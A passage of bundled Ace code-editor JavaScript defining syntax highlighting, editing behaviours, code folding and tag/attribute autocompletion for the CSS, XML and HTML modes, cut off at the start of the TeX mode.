token : ["punctuation", "entity.other.attribute-name.pseudo-element.css"],
regex : pseudoElements
}, {
token : ["punctuation", "entity.other.attribute-name.pseudo-class.css"],
regex : pseudoClasses
}, {
token : ["support.function", "string", "support.function"],
regex : "(url\\()(.*)(\\))"
}, {
token : keywordMapper,
regex : "\\-?[a-zA-Z_][a-zA-Z0-9_\\-]*"
}, {
caseInsensitive: true
}]
};
this.normalizeRules();
};
oop.inherits(CssHighlightRules, TextHighlightRules);
exports.CssHighlightRules = CssHighlightRules;
});
ace.define("ace/mode/behaviour/css",["require","exports","module","ace/lib/oop","ace/mode/behaviour","ace/mode/behaviour/cstyle","ace/token_iterator"], function(require, exports, module) {
"use strict";
var oop = require("../../lib/oop");
var Behaviour = require("../behaviour").Behaviour;
var CstyleBehaviour = require("./cstyle").CstyleBehaviour;
var TokenIterator = require("../../token_iterator").TokenIterator;
var CssBehaviour = function () {
this.inherit(CstyleBehaviour);
this.add("colon", "insertion", function (state, action, editor, session, text) {
if (text === ':') {
var cursor = editor.getCursorPosition();
var iterator = new TokenIterator(session, cursor.row, cursor.column);
var token = iterator.getCurrentToken();
if (token && token.value.match(/\s+/)) {
token = iterator.stepBackward();
}
if (token && token.type === 'support.type') {
var line = session.doc.getLine(cursor.row);
var rightChar = line.substring(cursor.column, cursor.column + 1);
if (rightChar === ':') {
return {
text: '',
selection: [1, 1]
}
}
if (!line.substring(cursor.column).match(/^\s*;/)) {
return {
text: ':;',
selection: [1, 1]
}
}
}
}
});
this.add("colon", "deletion", function (state, action, editor, session, range) {
var selected = session.doc.getTextRange(range);
if (!range.isMultiLine() && selected === ':') {
var cursor = editor.getCursorPosition();
var iterator = new TokenIterator(session, cursor.row, cursor.column);
var token = iterator.getCurrentToken();
if (token && token.value.match(/\s+/)) {
token = iterator.stepBackward();
}
if (token && token.type === 'support.type') {
var line = session.doc.getLine(range.start.row);
var rightChar = line.substring(range.end.column, range.end.column + 1);
if (rightChar === ';') {
range.end.column ++;
return range;
}
}
}
});
this.add("semicolon", "insertion", function (state, action, editor, session, text) {
if (text === ';') {
var cursor = editor.getCursorPosition();
var line = session.doc.getLine(cursor.row);
var rightChar = line.substring(cursor.column, cursor.column + 1);
if (rightChar === ';') {
return {
text: '',
selection: [1, 1]
}
}
}
});
}
oop.inherits(CssBehaviour, CstyleBehaviour);
exports.CssBehaviour = CssBehaviour;
});
ace.define("ace/mode/css",["require","exports","module","ace/lib/oop","ace/mode/text","ace/mode/css_highlight_rules","ace/mode/matching_brace_outdent","ace/worker/worker_client","ace/mode/behaviour/css","ace/mode/folding/cstyle"], function(require, exports, module) {
"use strict";
var oop = require("../lib/oop");
var TextMode = require("./text").Mode;
var CssHighlightRules = require("./css_highlight_rules").CssHighlightRules;
var MatchingBraceOutdent = require("./matching_brace_outdent").MatchingBraceOutdent;
var WorkerClient = require("../worker/worker_client").WorkerClient;
var CssBehaviour = require("./behaviour/css").CssBehaviour;
var CStyleFoldMode = require("./folding/cstyle").FoldMode;
var Mode = function() {
this.HighlightRules = CssHighlightRules;
this.$outdent = new MatchingBraceOutdent();
this.$behaviour = new CssBehaviour();
this.foldingRules = new CStyleFoldMode();
};
oop.inherits(Mode, TextMode);
(function() {
this.foldingRules = "cStyle";
this.blockComment = {start: "/*", end: "*/"};
this.getNextLineIndent = function(state, line, tab) {
var indent = this.$getIndent(line);
var tokens = this.getTokenizer().getLineTokens(line, state).tokens;
if (tokens.length && tokens[tokens.length-1].type == "comment") {
return indent;
}
var match = line.match(/^.*\{\s*$/);
if (match) {
indent += tab;
}
return indent;
};
this.checkOutdent = function(state, line, input) {
return this.$outdent.checkOutdent(line, input);
};
this.autoOutdent = function(state, doc, row) {
this.$outdent.autoOutdent(doc, row);
};
this.createWorker = function(session) {
var worker = new WorkerClient(["ace"], "ace/mode/css_worker", "Worker");
worker.attachToDocument(session.getDocument());
worker.on("csslint", function(e) {
session.setAnnotations(e.data);
});
worker.on("terminate", function() {
session.clearAnnotations();
});
return worker;
};
this.$id = "ace/mode/css";
}).call(Mode.prototype);
exports.Mode = Mode;
});
ace.define("ace/mode/xml_highlight_rules",["require","exports","module","ace/lib/oop","ace/mode/text_highlight_rules"], function(require, exports, module) {
"use strict";
var oop = require("../lib/oop");
var TextHighlightRules = require("./text_highlight_rules").TextHighlightRules;
var XmlHighlightRules = function(normalize) {
this.$rules = {
start : [
{token : "string.cdata.xml", regex : "<\\!\\[CDATA\\[", next : "cdata"},
{
token : ["punctuation.xml-decl.xml", "keyword.xml-decl.xml"],
regex : "(<\\?)(xml)(?=[\\s])", next : "xml_decl", caseInsensitive: true
},
{
token : ["punctuation.instruction.xml", "keyword.instruction.xml"],
regex : "(<\\?)([-_a-zA-Z0-9]+)", next : "processing_instruction",
},
{token : "comment.xml", regex : "<\\!--", next : "comment"},
{
token : ["xml-pe.doctype.xml", "xml-pe.doctype.xml"],
regex : "(<\\!)(DOCTYPE)(?=[\\s])", next : "doctype", caseInsensitive: true
},
{include : "tag"},
{token : "text.end-tag-open.xml", regex: "</"},
{token : "text.tag-open.xml", regex: "<"},
{include : "reference"},
{defaultToken : "text.xml"}
],
xml_decl : [{
token : "entity.other.attribute-name.decl-attribute-name.xml",
regex : "(?:[-_a-zA-Z0-9]+:)?[-_a-zA-Z0-9]+"
}, {
token : "keyword.operator.decl-attribute-equals.xml",
regex : "="
}, {
include: "whitespace"
}, {
include: "string"
}, {
token : "punctuation.xml-decl.xml",
regex : "\\?>",
next : "start"
}],
processing_instruction : [
{token : "punctuation.instruction.xml", regex : "\\?>", next : "start"},
{defaultToken : "instruction.xml"}
],
doctype : [
{include : "whitespace"},
{include : "string"},
{token : "xml-pe.doctype.xml", regex : ">", next : "start"},
{token : "xml-pe.xml", regex : "[-_a-zA-Z0-9:]+"},
{token : "punctuation.int-subset", regex : "\\[", push : "int_subset"}
],
int_subset : [{
token : "text.xml",
regex : "\\s+"
}, {
token: "punctuation.int-subset.xml",
regex: "]",
next: "pop"
}, {
token : ["punctuation.markup-decl.xml", "keyword.markup-decl.xml"],
regex : "(<\\!)([-_a-zA-Z0-9]+)",
push : [{
token : "text",
regex : "\\s+"
},
{
token : "punctuation.markup-decl.xml",
regex : ">",
next : "pop"
},
{include : "string"}]
}],
cdata : [
{token : "string.cdata.xml", regex : "\\]\\]>", next : "start"},
{token : "text.xml", regex : "\\s+"},
{token : "text.xml", regex : "(?:[^\\]]|\\](?!\\]>))+"}
],
comment : [
{token : "comment.xml", regex : "-->", next : "start"},
{defaultToken : "comment.xml"}
],
reference : [{
token : "constant.language.escape.reference.xml",
regex : "(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\.-]+;)"
}],
attr_reference : [{
token : "constant.language.escape.reference.attribute-value.xml",
regex : "(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\.-]+;)"
}],
tag : [{
token : ["meta.tag.punctuation.tag-open.xml", "meta.tag.punctuation.end-tag-open.xml", "meta.tag.tag-name.xml"],
regex : "(?:(<)|(</))((?:[-_a-zA-Z0-9]+:)?[-_a-zA-Z0-9]+)",
next: [
{include : "attributes"},
{token : "meta.tag.punctuation.tag-close.xml", regex : "/?>", next : "start"}
]
}],
tag_whitespace : [
{token : "text.tag-whitespace.xml", regex : "\\s+"}
],
whitespace : [
{token : "text.whitespace.xml", regex : "\\s+"}
],
string: [{
token : "string.xml",
regex : "'",
push : [
{token : "string.xml", regex: "'", next: "pop"},
{defaultToken : "string.xml"}
]
}, {
token : "string.xml",
regex : '"',
push : [
{token : "string.xml", regex: '"', next: "pop"},
{defaultToken : "string.xml"}
]
}],
attributes: [{
token : "entity.other.attribute-name.xml",
regex : "(?:[-_a-zA-Z0-9]+:)?[-_a-zA-Z0-9]+"
}, {
token : "keyword.operator.attribute-equals.xml",
regex : "="
}, {
include: "tag_whitespace"
}, {
include: "attribute_value"
}],
attribute_value: [{
token : "string.attribute-value.xml",
regex : "'",
push : [
{token : "string.attribute-value.xml", regex: "'", next: "pop"},
{include : "attr_reference"},
{defaultToken : "string.attribute-value.xml"}
]
}, {
token : "string.attribute-value.xml",
regex : '"',
push : [
{token : "string.attribute-value.xml", regex: '"', next: "pop"},
{include : "attr_reference"},
{defaultToken : "string.attribute-value.xml"}
]
}]
};
if (this.constructor === XmlHighlightRules)
this.normalizeRules();
};
(function() {
this.embedTagRules = function(HighlightRules, prefix, tag){
this.$rules.tag.unshift({
token : ["meta.tag.punctuation.tag-open.xml", "meta.tag." + tag + ".tag-name.xml"],
regex : "(<)(" + tag + "(?=\\s|>|$))",
next: [
{include : "attributes"},
{token : "meta.tag.punctuation.tag-close.xml", regex : "/?>", next : prefix + "start"}
]
});
this.$rules[tag + "-end"] = [
{include : "attributes"},
{token : "meta.tag.punctuation.tag-close.xml", regex : "/?>", next: "start",
onMatch : function(value, currentState, stack) {
stack.splice(0);
return this.token;
}}
]
this.embedRules(HighlightRules, prefix, [{
token: ["meta.tag.punctuation.end-tag-open.xml", "meta.tag." + tag + ".tag-name.xml"],
regex : "(</)(" + tag + "(?=\\s|>|$))",
next: tag + "-end"
}, {
token: "string.cdata.xml",
regex : "<\\!\\[CDATA\\["
}, {
token: "string.cdata.xml",
regex : "\\]\\]>"
}]);
};
}).call(TextHighlightRules.prototype);
oop.inherits(XmlHighlightRules, TextHighlightRules);
exports.XmlHighlightRules = XmlHighlightRules;
});
ace.define("ace/mode/html_highlight_rules",["require","exports","module","ace/lib/oop","ace/lib/lang","ace/mode/css_highlight_rules","ace/mode/javascript_highlight_rules","ace/mode/xml_highlight_rules"], function(require, exports, module) {
"use strict";
var oop = require("../lib/oop");
var lang = require("../lib/lang");
var CssHighlightRules = require("./css_highlight_rules").CssHighlightRules;
var JavaScriptHighlightRules = require("./javascript_highlight_rules").JavaScriptHighlightRules;
var XmlHighlightRules = require("./xml_highlight_rules").XmlHighlightRules;
var tagMap = lang.createMap({
a : 'anchor',
button : 'form',
form : 'form',
img : 'image',
input : 'form',
label : 'form',
option : 'form',
script : 'script',
select : 'form',
textarea : 'form',
style : 'style',
table : 'table',
tbody : 'table',
td : 'table',
tfoot : 'table',
th : 'table',
tr : 'table'
});
var HtmlHighlightRules = function() {
XmlHighlightRules.call(this);
this.addRules({
attributes: [{
include : "tag_whitespace"
}, {
token : "entity.other.attribute-name.xml",
regex : "[-_a-zA-Z0-9:]+"
}, {
token : "keyword.operator.attribute-equals.xml",
regex : "=",
push : [{
include: "tag_whitespace"
}, {
token : "string.unquoted.attribute-value.html",
regex : "[^<>='\"`\\s]+",
next : "pop"
}, {
token : "empty",
regex : "",
next : "pop"
}]
}, {
include : "attribute_value"
}],
tag: [{
token : function(start, tag) {
var group = tagMap[tag];
return ["meta.tag.punctuation." + (start == "<" ? "" : "end-") + "tag-open.xml",
"meta.tag" + (group ? "." + group : "") + ".tag-name.xml"];
},
regex : "(</?)([-_a-zA-Z0-9:]+)",
next: "tag_stuff"
}],
tag_stuff: [
{include : "attributes"},
{token : "meta.tag.punctuation.tag-close.xml", regex : "/?>", next : "start"}
],
});
this.embedTagRules(CssHighlightRules, "css-", "style");
this.embedTagRules(JavaScriptHighlightRules, "js-", "script");
if (this.constructor === HtmlHighlightRules)
this.normalizeRules();
};
oop.inherits(HtmlHighlightRules, XmlHighlightRules);
exports.HtmlHighlightRules = HtmlHighlightRules;
});
ace.define("ace/mode/behaviour/xml",["require","exports","module","ace/lib/oop","ace/mode/behaviour","ace/token_iterator"], function(require, exports, module) {
"use strict";
var oop = require("../../lib/oop");
var Behaviour = require("../behaviour").Behaviour;
var TokenIterator = require("../../token_iterator").TokenIterator;
function is(token, type) {
return token.type.lastIndexOf(type + ".xml") > -1;
}
var XmlBehaviour = function () {
this.add("string_dquotes", "insertion", function (state, action, editor, session, text) {
if (text == '"' || text == "'") {
var quote = text;
var selected = session.doc.getTextRange(editor.getSelectionRange());
if (selected !== "" && selected !== "'" && selected != '"' && editor.getWrapBehavioursEnabled()) {
return {
text: quote + selected + quote,
selection: false
};
}
var cursor = editor.getCursorPosition();
var line = session.doc.getLine(cursor.row);
var rightChar = line.substring(cursor.column, cursor.column + 1);
var iterator = new TokenIterator(session, cursor.row, cursor.column);
var token = iterator.getCurrentToken();
if (rightChar == quote && (is(token, "attribute-value") || is(token, "string"))) {
return {
text: "",
selection: [1, 1]
};
}
if (!token)
token = iterator.stepBackward();
if (!token)
return;
while (is(token, "tag-whitespace") || is(token, "whitespace")) {
token = iterator.stepBackward();
}
var rightSpace = !rightChar || rightChar.match(/\s/);
if (is(token, "attribute-equals") && (rightSpace || rightChar == '>') || (is(token, "decl-attribute-equals") && (rightSpace || rightChar == '?'))) {
return {
text: quote + quote,
selection: [1, 1]
};
}
}
});
this.add("string_dquotes", "deletion", function(state, action, editor, session, range) {
var selected = session.doc.getTextRange(range);
if (!range.isMultiLine() && (selected == '"' || selected == "'")) {
var line = session.doc.getLine(range.start.row);
var rightChar = line.substring(range.start.column + 1, range.start.column + 2);
if (rightChar == selected) {
range.end.column++;
return range;
}
}
});
this.add("autoclosing", "insertion", function (state, action, editor, session, text) {
if (text == '>') {
var position = editor.getCursorPosition();
var iterator = new TokenIterator(session, position.row, position.column);
var token = iterator.getCurrentToken() || iterator.stepBackward();
if (!token || !(is(token, "tag-name") || is(token, "tag-whitespace") || is(token, "attribute-name") || is(token, "attribute-equals") || is(token, "attribute-value")))
return;
if (is(token, "reference.attribute-value"))
return;
if (is(token, "attribute-value")) {
var firstChar = token.value.charAt(0);
if (firstChar == '"' || firstChar == "'") {
var lastChar = token.value.charAt(token.value.length - 1);
var tokenEnd = iterator.getCurrentTokenColumn() + token.value.length;
if (tokenEnd > position.column || tokenEnd == position.column && firstChar != lastChar)
return;
}
}
while (!is(token, "tag-name")) {
token = iterator.stepBackward();
}
var tokenRow = iterator.getCurrentTokenRow();
var tokenColumn = iterator.getCurrentTokenColumn();
if (is(iterator.stepBackward(), "end-tag-open"))
return;
var element = token.value;
if (tokenRow == position.row)
element = element.substring(0, position.column - tokenColumn);
if (this.voidElements.hasOwnProperty(element.toLowerCase()))
return;
return {
text: '>' + '</' + element + '>',
selection: [1, 1]
};
}
});
this.add('autoindent', 'insertion', function (state, action, editor, session, text) {
if (text == "\n") {
var cursor = editor.getCursorPosition();
var line = session.getLine(cursor.row);
var rightChars = line.substring(cursor.column, cursor.column + 2);
if (rightChars == '</') {
var next_indent = this.$getIndent(line);
var indent = next_indent + session.getTabString();
return {
text: '\n' + indent + '\n' + next_indent,
selection: [1, indent.length, 1, indent.length]
};
}
}
});
};
oop.inherits(XmlBehaviour, Behaviour);
exports.XmlBehaviour = XmlBehaviour;
});
ace.define("ace/mode/folding/mixed",["require","exports","module","ace/lib/oop","ace/mode/folding/fold_mode"], function(require, exports, module) {
"use strict";
var oop = require("../../lib/oop");
var BaseFoldMode = require("./fold_mode").FoldMode;
var FoldMode = exports.FoldMode = function(defaultMode, subModes) {
this.defaultMode = defaultMode;
this.subModes = subModes;
};
oop.inherits(FoldMode, BaseFoldMode);
(function() {
this.$getMode = function(state) {
if (typeof state != "string")
state = state[0];
for (var key in this.subModes) {
if (state.indexOf(key) === 0)
return this.subModes[key];
}
return null;
};
this.$tryMode = function(state, session, foldStyle, row) {
var mode = this.$getMode(state);
return (mode ? mode.getFoldWidget(session, foldStyle, row) : "");
};
this.getFoldWidget = function(session, foldStyle, row) {
return (
this.$tryMode(session.getState(row-1), session, foldStyle, row) ||
this.$tryMode(session.getState(row), session, foldStyle, row) ||
this.defaultMode.getFoldWidget(session, foldStyle, row)
);
};
this.getFoldWidgetRange = function(session, foldStyle, row) {
var mode = this.$getMode(session.getState(row-1));
if (!mode || !mode.getFoldWidget(session, foldStyle, row))
mode = this.$getMode(session.getState(row));
if (!mode || !mode.getFoldWidget(session, foldStyle, row))
mode = this.defaultMode;
return mode.getFoldWidgetRange(session, foldStyle, row);
};
}).call(FoldMode.prototype);
});
ace.define("ace/mode/folding/xml",["require","exports","module","ace/lib/oop","ace/lib/lang","ace/range","ace/mode/folding/fold_mode","ace/token_iterator"], function(require, exports, module) {
"use strict";
var oop = require("../../lib/oop");
var lang = require("../../lib/lang");
var Range = require("../../range").Range;
var BaseFoldMode = require("./fold_mode").FoldMode;
var TokenIterator = require("../../token_iterator").TokenIterator;
var FoldMode = exports.FoldMode = function(voidElements, optionalEndTags) {
BaseFoldMode.call(this);
this.voidElements = oop.mixin(voidElements || {}, optionalEndTags || {});
};
oop.inherits(FoldMode, BaseFoldMode);
var Tag = function() {
this.tagName = "";
this.closing = false;
this.selfClosing = false;
this.start = {row: 0, column: 0};
this.end = {row: 0, column: 0};
};
function is(token, type) {
return token.type.lastIndexOf(type + ".xml") > -1;
}
(function() {
this.getFoldWidget = function(session, foldStyle, row) {
var tag = this._getFirstTagInLine(session, row);
if (!tag)
return "";
if (tag.closing || (!tag.tagName && tag.selfClosing))
return foldStyle == "markbeginend" ? "end" : "";
if (!tag.tagName || tag.selfClosing || this.voidElements.hasOwnProperty(tag.tagName.toLowerCase()))
return "";
if (this._findEndTagInLine(session, row, tag.tagName, tag.end.column))
return "";
return "start";
};
this._getFirstTagInLine = function(session, row) {
var tokens = session.getTokens(row);
var tag = new Tag();
for (var i = 0; i < tokens.length; i++) {
var token = tokens[i];
if (is(token, "tag-open")) {
tag.end.column = tag.start.column + token.value.length;
tag.closing = is(token, "end-tag-open");
token = tokens[++i];
if (!token)
return null;
tag.tagName = token.value;
tag.end.column += token.value.length;
for (i++; i < tokens.length; i++) {
token = tokens[i];
tag.end.column += token.value.length;
if (is(token, "tag-close")) {
tag.selfClosing = token.value == '/>';
break;
}
}
return tag;
} else if (is(token, "tag-close")) {
tag.selfClosing = token.value == '/>';
return tag;
}
tag.start.column += token.value.length;
}
return null;
};
this._findEndTagInLine = function(session, row, tagName, startColumn) {
var tokens = session.getTokens(row);
var column = 0;
for (var i = 0; i < tokens.length; i++) {
var token = tokens[i];
column += token.value.length;
if (column < startColumn)
continue;
if (is(token, "end-tag-open")) {
token = tokens[i + 1];
if (token && token.value == tagName)
return true;
}
}
return false;
};
this._readTagForward = function(iterator) {
var token = iterator.getCurrentToken();
if (!token)
return null;
var tag = new Tag();
do {
if (is(token, "tag-open")) {
tag.closing = is(token, "end-tag-open");
tag.start.row = iterator.getCurrentTokenRow();
tag.start.column = iterator.getCurrentTokenColumn();
} else if (is(token, "tag-name")) {
tag.tagName = token.value;
} else if (is(token, "tag-close")) {
tag.selfClosing = token.value == "/>";
tag.end.row = iterator.getCurrentTokenRow();
tag.end.column = iterator.getCurrentTokenColumn() + token.value.length;
iterator.stepForward();
return tag;
}
} while(token = iterator.stepForward());
return null;
};
this._readTagBackward = function(iterator) {
var token = iterator.getCurrentToken();
if (!token)
return null;
var tag = new Tag();
do {
if (is(token, "tag-open")) {
tag.closing = is(token, "end-tag-open");
tag.start.row = iterator.getCurrentTokenRow();
tag.start.column = iterator.getCurrentTokenColumn();
iterator.stepBackward();
return tag;
} else if (is(token, "tag-name")) {
tag.tagName = token.value;
} else if (is(token, "tag-close")) {
tag.selfClosing = token.value == "/>";
tag.end.row = iterator.getCurrentTokenRow();
tag.end.column = iterator.getCurrentTokenColumn() + token.value.length;
}
} while(token = iterator.stepBackward());
return null;
};
this._pop = function(stack, tag) {
while (stack.length) {
var top = stack[stack.length-1];
if (!tag || top.tagName == tag.tagName) {
return stack.pop();
}
else if (this.voidElements.hasOwnProperty(tag.tagName)) {
return;
}
else if (this.voidElements.hasOwnProperty(top.tagName)) {
stack.pop();
continue;
} else {
return null;
}
}
};
this.getFoldWidgetRange = function(session, foldStyle, row) {
var firstTag = this._getFirstTagInLine(session, row);
if (!firstTag)
return null;
var isBackward = firstTag.closing || firstTag.selfClosing;
var stack = [];
var tag;
if (!isBackward) {
var iterator = new TokenIterator(session, row, firstTag.start.column);
var start = {
row: row,
column: firstTag.start.column + firstTag.tagName.length + 2
};
while (tag = this._readTagForward(iterator)) {
if (tag.selfClosing) {
if (!stack.length) {
tag.start.column += tag.tagName.length + 2;
tag.end.column -= 2;
return Range.fromPoints(tag.start, tag.end);
} else
continue;
}
if (tag.closing) {
this._pop(stack, tag);
if (stack.length == 0)
return Range.fromPoints(start, tag.start);
}
else {
stack.push(tag);
}
}
}
else {
var iterator = new TokenIterator(session, row, firstTag.end.column);
var end = {
row: row,
column: firstTag.start.column
};
while (tag = this._readTagBackward(iterator)) {
if (tag.selfClosing) {
if (!stack.length) {
tag.start.column += tag.tagName.length + 2;
tag.end.column -= 2;
return Range.fromPoints(tag.start, tag.end);
} else
continue;
}
if (!tag.closing) {
this._pop(stack, tag);
if (stack.length == 0) {
tag.start.column += tag.tagName.length + 2;
return Range.fromPoints(tag.start, end);
}
}
else {
stack.push(tag);
}
}
}
};
}).call(FoldMode.prototype);
});
ace.define("ace/mode/folding/html",["require","exports","module","ace/lib/oop","ace/mode/folding/mixed","ace/mode/folding/xml","ace/mode/folding/cstyle"], function(require, exports, module) {
"use strict";
var oop = require("../../lib/oop");
var MixedFoldMode = require("./mixed").FoldMode;
var XmlFoldMode = require("./xml").FoldMode;
var CStyleFoldMode = require("./cstyle").FoldMode;
var FoldMode = exports.FoldMode = function(voidElements, optionalTags) {
MixedFoldMode.call(this, new XmlFoldMode(voidElements, optionalTags), {
"js-": new CStyleFoldMode(),
"css-": new CStyleFoldMode()
});
};
oop.inherits(FoldMode, MixedFoldMode);
});
ace.define("ace/mode/html_completions",["require","exports","module","ace/token_iterator"], function(require, exports, module) {
"use strict";
var TokenIterator = require("../token_iterator").TokenIterator;
var commonAttributes = [
"accesskey",
"class",
"contenteditable",
"contextmenu",
"dir",
"draggable",
"dropzone",
"hidden",
"id",
"inert",
"itemid",
"itemprop",
"itemref",
"itemscope",
"itemtype",
"lang",
"spellcheck",
"style",
"tabindex",
"title",
"translate"
];
var eventAttributes = [
"onabort",
"onblur",
"oncancel",
"oncanplay",
"oncanplaythrough",
"onchange",
"onclick",
"onclose",
"oncontextmenu",
"oncuechange",
"ondblclick",
"ondrag",
"ondragend",
"ondragenter",
"ondragleave",
"ondragover",
"ondragstart",
"ondrop",
"ondurationchange",
"onemptied",
"onended",
"onerror",
"onfocus",
"oninput",
"oninvalid",
"onkeydown",
"onkeypress",
"onkeyup",
"onload",
"onloadeddata",
"onloadedmetadata",
"onloadstart",
"onmousedown",
"onmousemove",
"onmouseout",
"onmouseover",
"onmouseup",
"onmousewheel",
"onpause",
"onplay",
"onplaying",
"onprogress",
"onratechange",
"onreset",
"onscroll",
"onseeked",
"onseeking",
"onselect",
"onshow",
"onstalled",
"onsubmit",
"onsuspend",
"ontimeupdate",
"onvolumechange",
"onwaiting"
];
var globalAttributes = commonAttributes.concat(eventAttributes);
var attributeMap = {
"html": ["manifest"],
"head": [],
"title": [],
"base": ["href", "target"],
"link": ["href", "hreflang", "rel", "media", "type", "sizes"],
"meta": ["http-equiv", "name", "content", "charset"],
"style": ["type", "media", "scoped"],
"script": ["charset", "type", "src", "defer", "async"],
"noscript": ["href"],
"body": ["onafterprint", "onbeforeprint", "onbeforeunload", "onhashchange", "onmessage", "onoffline", "onpopstate", "onredo", "onresize", "onstorage", "onundo", "onunload"],
"section": [],
"nav": [],
"article": ["pubdate"],
"aside": [],
"h1": [],
"h2": [],
"h3": [],
"h4": [],
"h5": [],
"h6": [],
"header": [],
"footer": [],
"address": [],
"main": [],
"p": [],
"hr": [],
"pre": [],
"blockquote": ["cite"],
"ol": ["start", "reversed"],
"ul": [],
"li": ["value"],
"dl": [],
"dt": [],
"dd": [],
"figure": [],
"figcaption": [],
"div": [],
"a": ["href", "target", "ping", "rel", "media", "hreflang", "type"],
"em": [],
"strong": [],
"small": [],
"s": [],
"cite": [],
"q": ["cite"],
"dfn": [],
"abbr": [],
"data": [],
"time": ["datetime"],
"code": [],
"var": [],
"samp": [],
"kbd": [],
"sub": [],
"sup": [],
"i": [],
"b": [],
"u": [],
"mark": [],
"ruby": [],
"rt": [],
"rp": [],
"bdi": [],
"bdo": [],
"span": [],
"br": [],
"wbr": [],
"ins": ["cite", "datetime"],
"del": ["cite", "datetime"],
"img": ["alt", "src", "height", "width", "usemap", "ismap"],
"iframe": ["name", "src", "height", "width", "sandbox", "seamless"],
"embed": ["src", "height", "width", "type"],
"object": ["param", "data", "type", "height" , "width", "usemap", "name", "form", "classid"],
"param": ["name", "value"],
"video": ["src", "autobuffer", "autoplay", "loop", "controls", "width", "height", "poster"],
"audio": ["src", "autobuffer", "autoplay", "loop", "controls"],
"source": ["src", "type", "media"],
"track": ["kind", "src", "srclang", "label", "default"],
"canvas": ["width", "height"],
"map": ["name"],
"area": ["shape", "coords", "href", "hreflang", "alt", "target", "media", "rel", "ping", "type"],
"svg": [],
"math": [],
"table": ["summary"],
"caption": [],
"colgroup": ["span"],
"col": ["span"],
"tbody": [],
"thead": [],
"tfoot": [],
"tr": [],
"td": ["headers", "rowspan", "colspan"],
"th": ["headers", "rowspan", "colspan", "scope"],
"form": ["accept-charset", "action", "autocomplete", "enctype", "method", "name", "novalidate", "target"],
"fieldset": ["disabled", "form", "name"],
"legend": [],
"label": ["form", "for"],
"input": ["type", "accept", "alt", "autocomplete", "checked", "disabled", "form", "formaction", "formenctype", "formmethod", "formnovalidate", "formtarget", "height", "list", "max", "maxlength", "min", "multiple", "pattern", "placeholder", "readonly", "required", "size", "src", "step", "width", "files", "value"],
"button": ["autofocus", "disabled", "form", "formaction", "formenctype", "formmethod", "formnovalidate", "formtarget", "name", "value", "type"],
"select": ["autofocus", "disabled", "form", "multiple", "name", "size"],
"datalist": [],
"optgroup": ["disabled", "label"],
"option": ["disabled", "selected", "label", "value"],
"textarea": ["autofocus", "disabled", "form", "maxlength", "name", "placeholder", "readonly", "required", "rows", "cols", "wrap"],
"keygen": ["autofocus", "challenge", "disabled", "form", "keytype", "name"],
"output": ["for", "form", "name"],
"progress": ["value", "max"],
"meter": ["value", "min", "max", "low", "high", "optimum"],
"details": ["open"],
"summary": [],
"command": ["type", "label", "icon", "disabled", "checked", "radiogroup", "command"],
"menu": ["type", "label"],
"dialog": ["open"]
};
var elements = Object.keys(attributeMap);
function is(token, type) {
return token.type.lastIndexOf(type + ".xml") > -1;
}
function findTagName(session, pos) {
var iterator = new TokenIterator(session, pos.row, pos.column);
var token = iterator.getCurrentToken();
while (token && !is(token, "tag-name")){
token = iterator.stepBackward();
}
if (token)
return token.value;
}
var HtmlCompletions = function() {
};
(function() {
this.getCompletions = function(state, session, pos, prefix) {
var token = session.getTokenAt(pos.row, pos.column);
if (!token)
return [];
if (is(token, "tag-name") || is(token, "tag-open") || is(token, "end-tag-open"))
return this.getTagCompletions(state, session, pos, prefix);
if (is(token, "tag-whitespace") || is(token, "attribute-name"))
return this.getAttributeCompetions(state, session, pos, prefix);
return [];
};
this.getTagCompletions = function(state, session, pos, prefix) {
return elements.map(function(element){
return {
value: element,
meta: "tag",
score: Number.MAX_VALUE
};
});
};
this.getAttributeCompetions = function(state, session, pos, prefix) {
var tagName = findTagName(session, pos);
if (!tagName)
return [];
var attributes = globalAttributes;
if (tagName in attributeMap) {
attributes = attributes.concat(attributeMap[tagName]);
}
return attributes.map(function(attribute){
return {
caption: attribute,
snippet: attribute + '="$0"',
meta: "attribute",
score: Number.MAX_VALUE
};
});
};
}).call(HtmlCompletions.prototype);
exports.HtmlCompletions = HtmlCompletions;
});
ace.define("ace/mode/html",["require","exports","module","ace/lib/oop","ace/lib/lang","ace/mode/text","ace/mode/javascript","ace/mode/css","ace/mode/html_highlight_rules","ace/mode/behaviour/xml","ace/mode/folding/html","ace/mode/html_completions","ace/worker/worker_client"], function(require, exports, module) {
"use strict";
var oop = require("../lib/oop");
var lang = require("../lib/lang");
var TextMode = require("./text").Mode;
var JavaScriptMode = require("./javascript").Mode;
var CssMode = require("./css").Mode;
var HtmlHighlightRules = require("./html_highlight_rules").HtmlHighlightRules;
var XmlBehaviour = require("./behaviour/xml").XmlBehaviour;
var HtmlFoldMode = require("./folding/html").FoldMode;
var HtmlCompletions = require("./html_completions").HtmlCompletions;
var WorkerClient = require("../worker/worker_client").WorkerClient;
var voidElements = ["area", "base", "br", "col", "embed", "hr", "img", "input", "keygen", "link", "meta", "param", "source", "track", "wbr"];
var optionalEndTags = ["li", "dt", "dd", "p", "rt", "rp", "optgroup", "option", "colgroup", "td", "th"];
var Mode = function(options) {
this.fragmentContext = options && options.fragmentContext;
this.HighlightRules = HtmlHighlightRules;
this.$behaviour = new XmlBehaviour();
this.$completer = new HtmlCompletions();
this.createModeDelegates({
"js-": JavaScriptMode,
"css-": CssMode
});
this.foldingRules = new HtmlFoldMode(this.voidElements, lang.arrayToMap(optionalEndTags));
};
oop.inherits(Mode, TextMode);
(function() {
this.blockComment = {start: "<!--", end: "-->"};
this.voidElements = lang.arrayToMap(voidElements);
this.getNextLineIndent = function(state, line, tab) {
return this.$getIndent(line);
};
this.checkOutdent = function(state, line, input) {
return false;
};
this.getCompletions = function(state, session, pos, prefix) {
return this.$completer.getCompletions(state, session, pos, prefix);
};
this.createWorker = function(session) {
if (this.constructor != Mode)
return;
var worker = new WorkerClient(["ace"], "ace/mode/html_worker", "Worker");
worker.attachToDocument(session.getDocument());
if (this.fragmentContext)
worker.call("setOptions", [{context: this.fragmentContext}]);
worker.on("error", function(e) {
session.setAnnotations(e.data);
});
worker.on("terminate", function() {
session.clearAnnotations();
});
return worker;
};
this.$id = "ace/mode/html";
}).call(Mode.prototype);
exports.Mode = Mode;
});
ace.define("ace/mode/tex_highlight_rules",["require","exports","module","ace/lib/oop","ace/lib/lang","ace/mode/text_highlight_rules"], function(require, exports, module) {
"use strict";
var oop = require("../lib/oop");
